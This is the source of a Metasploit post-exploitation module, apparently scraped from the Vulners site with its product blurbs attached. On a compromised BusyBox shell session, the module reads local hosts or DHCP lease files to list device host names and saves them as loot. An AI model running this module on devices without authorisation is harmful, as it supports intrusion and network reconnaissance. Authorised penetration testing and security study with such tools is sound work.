##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
def initialize
super(
'Name' => 'BusyBox Enumerate Host Names',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will enumerate
host names related to the device executing BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
print_status('Searching hosts files...')
if busy_box_file_exist?('/var/hosts')
hosts_file = '/var/hosts'
elsif busy_box_file_exist?('/var/udhcpd/udhcpd.leases')
hosts_file = '/var/udhcpd/udhcpd.leases'
else
print_error('Files not found')
return
end
read_hosts_file(hosts_file)
end
def read_hosts_file(file)
str_file = read_file(file)
print_good("Hosts file found: #{file}.")
vprint_line(str_file)
p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox device host names')
print_good("Hosts saved to #{p}.")
rescue EOFError
print_error("Nothing read from file: #{file}, file may be empty.")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation